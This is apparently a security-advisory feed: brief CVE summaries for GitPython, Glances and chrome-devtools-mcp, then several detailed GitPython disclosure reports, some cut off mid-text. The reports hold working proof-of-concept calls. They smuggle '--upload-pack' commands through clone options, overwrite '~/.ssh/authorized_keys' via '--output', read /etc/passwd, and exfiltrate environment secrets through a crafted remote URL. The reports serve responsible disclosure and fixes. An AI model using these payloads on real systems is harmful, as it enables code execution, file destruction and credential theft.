Threats tagged 'homebrew'

GitPython versions before 3.1.58 contain a command execution vulnerability due to improper neutralization of argument delimiters in command construction. This flaw allows attackers to bypass the check_unsafe_options guard by combining a single-character keyword argument with split_single_char_options set to false. Exploitation can lead to arbitrary OS command execution when using guarded methods such as clone_from with default allow_unsafe_options set to false.

GitPython versions before 3.1.58 have an arbitrary file overwrite vulnerability due to improper neutralization of argument delimiters in certain methods. This allows attackers to inject the --index-output option into git commands, enabling overwriting of arbitrary files with git-index blobs at writable paths controlled by the attacker.

GitPython versions before 3.1.58 contain a remote code execution vulnerability in the Repo.init function. This flaw arises because unsafe git options are forwarded without validation, allowing attackers to supply a malicious template parameter. The malicious template can point to a directory containing git hooks that execute arbitrary code during git operations on the initialized repository. The vulnerability has a high severity score of 7.7 CVSS 4.0 and requires low privileges but high attack complexity.

GitPython versions before 3.1.58 contain a vulnerability where options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout() are not properly validated. This allows attackers to supply parameters that can read arbitrary files accessible to the process, with file contents exposed in error messages.

CVE-2026-68520 is a medium severity vulnerability in the open-source system monitoring tool Glances. Versions prior to 4.5.6 have a flaw in the as_dict_secure() function in glances/config.py, which insufficiently checks option names and inadvertently exposes sensitive information such as public_username and credentials embedded in public_api values. This exposure occurs via unauthenticated GET requests to /api/4/config and /api/4/config/ip endpoints. The issue has been fixed in version 4.5.6.

CVE-2026-68519 is an OS command injection vulnerability in the open-source monitoring tool Glances. Versions prior to 4.5.6 allow execution of shell commands with operators such as redirection, chaining, or pipes when an alert triggers, due to improper handling of the --disable-config-exec flag in GlancesActions.run(). This issue is resolved in version 4.5.6.

CVE-2026-62982 is a high-severity OS command injection vulnerability in the open-source monitoring tool Glances. Versions from 4.5.2 up to but not including 4.5.6 improperly sanitize nested list and dictionary strings in process command line values, allowing malicious pipe characters to be executed via administrator-configured action templates. This flaw is fixed in version 4.5.6.

CVE-2026-68517 is a medium severity vulnerability in the open-source system monitoring tool Glances. Versions prior to 4.5.6 have a permissive cross-domain policy issue in the RESTful API implementation. The vulnerability arises because the CORS origins guard uses exact list equality instead of wildcard membership, allowing a multi-origin list containing a wildcard to retain credentials and expose authenticated API data to untrusted websites. This issue is fixed in version 4.5.6.

A vulnerability in chrome-devtools-mcp versions 0.24.0 up to but not including 1.1.0 allows bypassing workspace root path restrictions via symbolic links. The validatePath() function does not canonicalize symlinks before enforcing root directory constraints, enabling an attacker to read or write files outside the intended workspace boundaries through symlink traversal. This issue is fixed in version 1.1.0.

CVE-2026-68518 is an OS command injection vulnerability in the open-source system monitoring tool Glances. Versions prior to 4.5.6 improperly sanitize Mustache template variables, allowing attackers to reconstruct shell operators that are executed by the secure_popen() function. This flaw is fixed in version 4.5.6.

## Summary `Diffable.diff()` forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options` guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`, giving a broad surface. `git diff --output=<path>` writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite. ## Root Cause `diff.py:188-283` builds and runs the diff command with no `check_unsafe_options` anywhere in the method (grep-confirmed). Additionally `diff.py:265` does `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE the `--` separator, so a value of `--output=/path` is parsed by git as an option — a value-only control path requiring no kwarg key. ## Impact Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints. ## Proof of Concept ```python # Key-control: commit.diff(other_commit, output='/home/app/.ssh/authorized_keys') # victim overwritten with diff (105 bytes verified) # Value-control (attacker controls only the ref string): commit.diff(other='--output=/home/app/.ssh/authorized_keys') # 14-byte victim -> 146 bytes of diff-tree output ``` ## Attack Chain 1. Entry (value-control): `commit.diff(other=<user ref>)` with `other = "--output=/home/app/.ssh/authorized_keys"`. Guard: none in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method body (grep); `other` inserted pre-`--` at diff.py:265. 2. Sink: `git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ...` -> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live. ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): both key-control (`output=`) and value-control (`other='--output=...'`) overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','<sha>','--output=/victim','-r',...]`. This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')` — but `diff` is a distinct, unguarded sink NOT touched by that fix. ## Affected Versions `<= 3.1.53` ## Suggested Fix Add `check_unsafe_options` to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options` before the `other` ref so it cannot be parsed as an option. --- Reported by **zx (Jace)** — GitHub: @manus-use

## Summary GitPython's `check_unsafe_options` guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for **every** guarded method (`clone`/`clone_from`, `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`) by smuggling an option token inside the VALUE of a single-character kwarg. In the default `allow_unsafe_options=False` configuration this yields arbitrary command execution via `--upload-pack`. ## Root Cause The guard builds its candidate option list from kwarg KEYS only: `_option_candidates([], {"n":"--upload-pack=<cmd>"})` returns `['-n']` (cmd.py:1042-1046 derives the candidate from the key, never the value). `-n` is not on the denylist, so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)` (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=<cmd>']`. git then parses the second token as `--upload-pack` and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token. ## Impact Arbitrary OS command execution as the host process (via `--upload-pack`) in the default configuration, affecting all guarded methods since they all build candidates through the name-only `_option_candidates`. ## Proof of Concept ```python from git import Repo Repo.clone_from(bare_repo, out_dir, n="--upload-pack=touch /tmp/ACE;git-upload-pack") # /tmp/ACE created -> ACE. Direct-name form upload_pack="..." is correctly BLOCKED. ``` File-write variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')` -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated. ## Attack Chain 1. Entry: app forwards a user-supplied options dict -> `Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack")`. Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)` at base.py. Bypass proof: `_option_candidates([], {"n":"--upload-pack=..."})` -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified live). 2. Transform: `transform_kwarg('n', value, split_single_char_options=True)` -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens. 3. Sink: `git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>`; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end). ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): `_option_candidates` returns key-only candidate `['-n']`; `transform_kwargs` emits the smuggled `--upload-pack=` token; clone_from with the payload created the marker file; the direct-name `upload_pack=` form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector. ## Affected Versions `<= 3.1.53` ## Suggested Fix Make `_option_candidates` also emit candidates derived from single-character kwarg VALUES when `split_single_char_options` is in effect, OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list. --- Reported by **zx (Jace)** — GitHub: @manus-use

**Target:** gitpython-developers/GitPython **Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1` ## Summary `Repo.archive()` does call the option guard, so this is not a missing-guard report. The guard is present and working; the **denylist it consults is incomplete**. ```python # git/repo/base.py:169 unsafe_git_archive_options = [ # Allows arbitrary command execution through the remote git-upload-archive command. "--exec", # Writes output to a caller-controlled filesystem path. "--output", "-o", ] ``` The comment on `--output` states the protected class in the project's own words: an option that lets the caller name **a filesystem path** is unsafe. `--output` is blocked because it *writes* to a caller-chosen path. `git archive` also accepts `--add-file=<path>` and `--add-virtual-file=<path:content>` (both present in current git; verified against `git version 2.50.1`). `--add-file` *reads* a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them: ``` $ grep -rniE "add.file|add_file" git/ git/index/base.py:771: R"""Add files from the working tree, ... # unrelated docstring ``` Net effect: the guard blocks arbitrary file **write** at this sink while permitting arbitrary file **read** at the same sink. ## Reachability proof (verified at the sink) `poc/poc_addfile.py` at HEAD `07e80555`. The PoC creates its own out-of-tree canary, so it runs from a clean machine: ``` -- CONTROL: options the denylist covers (expect BLOCKED) -- [BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it. [BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it. -- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) -- [ALLOWED] add_file='/tmp/gp_canary.txt' -> archive 10240 bytes archive members: ['f.txt', 'gp_canary.txt'] >>> EXFILTRATED gp_canary.txt: 'secret-canary-12345' >>> byte-for-byte match with the out-of-tree file: CONFIRMED -- also: --add-virtual-file (attacker-chosen name AND content) -- [ALLOWED] add_virtual_file='pwn.txt:hello' -> archive 10240 bytes ``` The three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran. Minimal reproduction: ```python import io, tarfile from git import Repo buf = io.BytesIO() Repo("/path/to/repo").archive(buf, format="tar", add_file="/etc/passwd") print(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames()) # ['<repo files>', 'passwd'] <- contents readable by whoever receives the archive ``` The canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by `transform_kwargs` into `--add-file=<path>` and reaches `git archive` unmodified. ## Direct precedent `GHSA-6p8h-3wgx-97gf` (High, published 2026-07-22) is the same defect on the sibling list: *"Incomplete `unsafe_git_clone_options` denylist omits `--template`"* — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. `git log` shows the archive list itself has already been extended reactively once, in `701ce32f` (*fix: Guard unsafe git command options*, GHSA-956x-8gvw-wg5v), and the `--template` omission was then fixed separately in `ffcb5359`. ## `--add-virtual-file` is the same gap pointing the other way `--add-virtual-file=<path:content>` lets the caller inject **attacker-chosen content under an attacker-chosen name** into an archive that downstream consumers will reasonably treat as repository-derived. ## Suggested remediation 1. **Preferred — allowlist.** `Repo.archive()` has a small legitimate option surface (`format`, `prefix`, `worktree_attributes`, `remote`, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this. 2. **Minimum — extend the list** with `--add-file` and `--add-virtual-file`, and make the membership rule *"the option takes a filesystem path or URL"* rather than *"the option executes a command"*. The existing comment on `--output` already implies that rule; applying it consistently is what closes the class instead of this instance. ## Scope limits - Impact is **arbitrary file read at the privileges of the process**. Not code execution — I make no such claim here. - It requires the embedding application to forward caller-influenced kwargs into `Repo.archive()`. That is the identical precondition to `--output`, `--exec` and `--template`,

**Target:** gitpython-developers/GitPython **Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1` **Reported instances:** 2 exploitable, from a sweep of 14 unguarded call sites ## Summary GitPython blocks dangerous git options through `Git.check_unsafe_options()`, gated per method by an `allow_unsafe_options` parameter. That guard is applied **per call site**, so any API that forwards `**kwargs` into a git command without calling it passes caller-controlled options straight to git. A mechanical sweep of every method that forwards `**kwargs` into a `.git.<command>(...)` call found **14 sites with no guard**. Two reach a git option that takes a filesystem path: | # | Call site | git option | Impact | |---|---|---|---| | 1 | `IndexFile.checkout()` → `git checkout-index` | `--prefix=<path>` | arbitrary file **overwrite** with repository-controlled content | | 2 | `TagReference.create()` → `git tag` | `-F <file>` / `--file=<file>` | arbitrary file **read**, returned in-band | This is the same defect class already fixed in `Commit.count()` (GHSA-p538-c434-8v24), `Repo.archive()` and `Git.ls_remote()` (GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD. --- ## Instance 1 — `IndexFile.checkout()`: arbitrary file overwrite `git/index/base.py:1210` accepts `**kwargs` and forwards them with no guard: ```python def checkout(self, paths=None, force=False, fprogress=lambda *args: None, **kwargs): ... proc = self.repo.git.checkout_index(*args, **kwargs) # line 1331 ... proc = self.repo.git.checkout_index(args, **kwargs) # line 1349 ``` There is no `allow_unsafe_options` parameter and no `check_unsafe_options()` call in the method. `git checkout-index` accepts `--prefix=<string>`, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and `-f` overwrites what is already there. ### Reproduction ```python from git import Repo Repo("/path/to/repo").index.checkout(prefix="/tmp/target_dir/", a=True, f=True) ``` Observed (`poc/poc_checkout_index.py`) — no exception raised, files land outside the repository: ``` [ALLOWED] no UnsafeOptionError raised files written outside the repo: ['f.txt'] f.txt: 'hi\n' ``` Overwrite of a pre-existing file (`poc/poc_ci_overwrite.py`) — the victim file held `ORIGINAL-DO-NOT-CLOBBER\n` before the call: ``` [ALLOWED] no exception victim content now: 'hi\n' OVERWRITTEN: True ``` ### Why this rates High Both halves of the write are attacker-influenced: - **Destination** — the `prefix` kwarg. - **Content** — the bytes written are repository blobs, so anyone who can land a file in the repository (a pull-request branch, a mirrored or untrusted repository, an agent-cloned repository) controls exactly what is written. Commit a file named `authorized_keys`, `.bashrc`, `config` or `post-checkout`, choose the matching prefix (`~/.ssh/`, `~/`, `.git/hooks/`), and the write becomes code execution as the service account. For comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via `git diff --output`) is rated High, and GHSA-p538-c434-8v24 (arbitrary file *truncation* via `git rev-list --output`) is rated Medium. `--prefix` supplies full content control, so it sits at or above the former. --- ## Instance 2 — `TagReference.create()`: arbitrary file read `git/refs/tag.py:88` forwards `**kwargs` into `git tag` with no guard, and the signature advertises the passthrough: ```python def create(cls, repo, path, reference="HEAD", logmsg=None, force=False, **kwargs): """... :param kwargs: Additional keyword arguments to be passed to :manpage:`git-tag(1)`. """ ``` `git tag` accepts `-F <file>` / `--file=<file>`, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller via `TagReference.tag.message`, so the file contents come back in-band. ### Reproduction ```python from git import Repo from git.refs.tag import TagReference t = TagReference.create(Repo("/path/to/repo"), "x", force=True, a=True, F="/etc/passwd") print(t.tag.message) ``` Observed (`poc/poc_tag_F.py`), reading a canary file outside the repository: ``` [ALLOWED] no UnsafeOptionError raised >>> tag message recovered from arbitrary path: 'TAG-READ-CANARY-98765\nsecond-line-secret' ``` Impact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (`-s`, `-u`/`--local-user`) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it. --- ## Sweep results — the other 12 sites Reported so the fix can be scoped once rather than per report. `poc/sweep.py` reproduces this list. | Call site | git command | Assessment | |---|---|---| | `IndexFile.from_tree()` | `read-tree` | `--index-output=<path>` looked reachable but i

## Summary `Commit.count()` forwards `**kwargs` into `rev_list` with **no** `check_unsafe_options` guard (the guard exists only in the sibling `iter_items`, commit.py:341). `git rev-list --output=<path>` opens and truncates the target file to 0 bytes before revision parsing, so `count(output='/victim')` destroys/blanks an arbitrary file. ## Root Cause `commit.py:290-291` calls `self.repo.git.rev_list(self.hexsha, **kwargs)` with no `check_unsafe_options` and no `allow_unsafe_options` parameter. The sibling `iter_items` (commit.py:341) is guarded; `count` is not. This is a distinct, uncovered sink — GHSA-956x-8gvw-wg5v fixed `iter_commits`/`blame`, not `count`. ## Impact Destroy/blank an arbitrary file at process privilege (integrity/availability). Reachability is key-control only (`count` uses `self.hexsha`, not a user ref), and the write is a 0-byte truncation (no content control), so MEDIUM. ## Proof of Concept ```python commit.count(output='/path/to/victim') # victim truncated to 0 bytes (verified) # control: commit.iter_commits(output=...) raises UnsafeOptionError ``` ## Attack Chain 1. Entry: app forwards user options -> `commit.count(output='/victim')`. Guard: none. Bypass proof: `iter_commits(output=)` raises UnsafeOptionError; `count(output=)` does not — verified side-by-side. 2. Sink: `git rev-list <sha> --output=/victim` -> file truncated to 0 bytes. Impact: destroy/blank arbitrary file. ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): `count(output=<victim>)` truncated a pre-existing file to 0 bytes; guarded `iter_commits(output=)` raised UnsafeOptionError. Same CNA-accepted "app forwards user options dict" model as GHSA-956x-8gvw-wg5v's `archive(**kwargs)`. Uncovered sink, not a duplicate. ## Affected Versions `<= 3.1.53` ## Suggested Fix Add `check_unsafe_options` to `Commit.count` (mirroring `iter_items`). --- Reported by **zx (Jace)** — GitHub: @manus-use

## Summary The fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed. ## Root Cause Fix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated. [`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`: ```python url = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url) if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) # https:// carrying the secret passes repo.git.remote(scmd, "--", name, url, **kwargs) # expanded URL written to .git/config ``` `check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive. The same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`. ## Steps to Reproduce ### Prerequisites - Python 3.9+ - `git` on `PATH` (for the fetch step) - GitPython 3.1.53 (installed below) ### Step 1: Install GitPython 3.1.53 in a clean venv ```bash mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc python3 -m venv venv ./venv/bin/pip install gitpython==3.1.53 ``` ### Step 2: Write the PoC ```bash cat > poc.py <<'PYEOF' #!/usr/bin/env python3 """Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.""" import http.server import os import tempfile import threading import git print("gitpython version:", git.__version__) # Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY. SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use" os.environ["GP_SENTINEL_SECRET"] = SENTINEL # Local HTTP server standing in for attacker.example. captured = [] class Handler(http.server.BaseHTTPRequestHandler): def do_GET(self): captured.append(self.path) self.send_response(404) self.end_headers() def log_message(self, *a): pass srv = http.server.HTTPServer(("127.0.0.1", 0), Handler) port = srv.server_address[1] threading.Thread(target=srv.serve_forever, daemon=True).start() # Attacker-controlled URL handed to an "import from URL" feature. attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port def norm(s): # display the ephemeral listener port as a stable placeholder return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT") print("attacker-supplied URL :", norm(attacker_url)) repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-")) remote = repo.create_remote("evil", attacker_url) # public API stored = repo.remote("evil").url print("stored remote URL :", norm(stored)) print("SENTINEL in git config:", SENTINEL in stored) try: remote.fetch() # transmits the expanded URL to the attacker host except Exception: pass # fetch fails after the request is already sent srv.shutdown() over_network = any(SENTINEL in p for p in captured) print("HTTP paths received :", [norm(p) for p in captured]) print("SENTINEL over network :", over_network) print() if SENTINEL in stored and over_network: print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host") elif SENTINEL in stored: print("VULNERABLE: env-var expanded into stored git-config URL") else: print("not reproduced") PYEOF ``` ### Step 3: Run it ```bash cd /tmp/gp-remote-poc && ./venv/bin/python poc.py ``` Expected output (the listener's ephemeral port is shown as `PORT`): ``` gitpython version: 3.1.53 attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git stored remote URL : http://127.0.0.1:PORT/steal/

## Summary GitPython's `unsafe_git_clone_options` denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/` into the new repository and runs them (`post-checkout` fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default `allow_unsafe_options=False` configuration. ## Root Cause `base.py:145-152` defines `unsafe_git_clone_options = ["--upload-pack","-u","--config","-c"]` — `--template` is absent. The guard candidate `['--template']` passes `check_unsafe_options` (verified). git copies the hook directory and executes `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL` do not gate `--template`; the incomplete denylist is the only defense. ## Impact Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, `/tmp`, or attacker-writable network paths), reflected as AC:H. ## Proof of Concept ```python # attacker stages <dir>/hooks/post-checkout (chmod +x) from git import Repo Repo.clone_from(src, dst, template='<dir>') # post-checkout hook executes -> marker created (verified) ``` ## Attack Chain 1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x). Guard: n/a (filesystem). 2. Entry: `Repo.clone_from(url, path, template='<dir>')`. Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`. Bypass proof: `--template` not on the denylist -> passes (verified candidate `['--template']`, no error). 3. Sink: git copies the hook and executes `post-checkout` at checkout. Impact: ACE, default config (verified marker created). ## Bypass Evidence Live-verified on HEAD (tag 3.1.53): guard candidate `['--template']` passed with no error; staged `post-checkout` hook executed during `clone_from`, creating the marker. Independent of the value-smuggle bypass (`--template` is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory. ## Affected Versions `<= 3.1.53` ## Suggested Fix Add `--template` (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`. --- Reported by **zx (Jace)** — GitHub: @manus-use